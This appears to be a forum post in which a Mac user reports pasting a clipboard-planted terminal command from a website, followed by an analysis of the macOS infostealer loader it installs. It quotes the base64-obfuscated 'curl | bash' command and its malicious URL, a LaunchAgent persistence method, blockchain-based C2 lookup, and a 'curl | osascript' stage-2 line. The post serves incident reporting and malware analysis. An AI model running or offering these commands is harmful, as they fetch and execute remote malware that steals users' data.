By being curious. I actually followed the instructions and pasted (cmd+v) into the terminal. The website had already put command in my clipboard. I did not save the actual command but it was something like bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9jYXB1LmNpdHJpeGFwcHNwcm92aWRlbmNlLm9yZy91cGRhdGUuc2gnIHwgYmFzaA==" | base64 -d)
where the base64 content was this url https://capu.citrixappsprovidence.org/update.sh
I have saved the script and turned of the WiFi. Then reinstalled Mac.
A macOS infostealer loader using the "EtherHiding" technique — the command-and-control address is stored in a blockchain smart contract instead of hardcoded, so it can't be taken down or blocklisted.
-
Persistence — writes ~/Library/LaunchAgents/com.pjwfdlzddujxvvxg.plist with RunAtLoad + KeepAlive, so it starts at every login and relaunches if killed. The plist body is a base64 blob piped to osascript, so nothing ever touches disk as a readable script.
-
Resolves its C2 from the Polygon blockchain — the decoded AppleScript makes a JSON-RPC eth_call against contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0, selector 0x2686ecea, trying four public RPC providers in turn (polygon.drpc.org, polygon.publicnode.com, polygon-mainnet.gateway.tatum.io, tenderly.rpc.polygon.community). It ABI-decodes the returned string. To ordinary network monitoring this looks like benign crypto traffic; the attacker can repoint the C2 by writing to the contract.
-
Fetches and executes stage 2 — curl -X POST https:// -d 'txid=&bmodule' | osascript The response is piped straight into osascript. That's arbitrary remote code execution, re-fetched fresh every login — the attacker can push any payload at any time. xxx is your victim/campaign identifier.
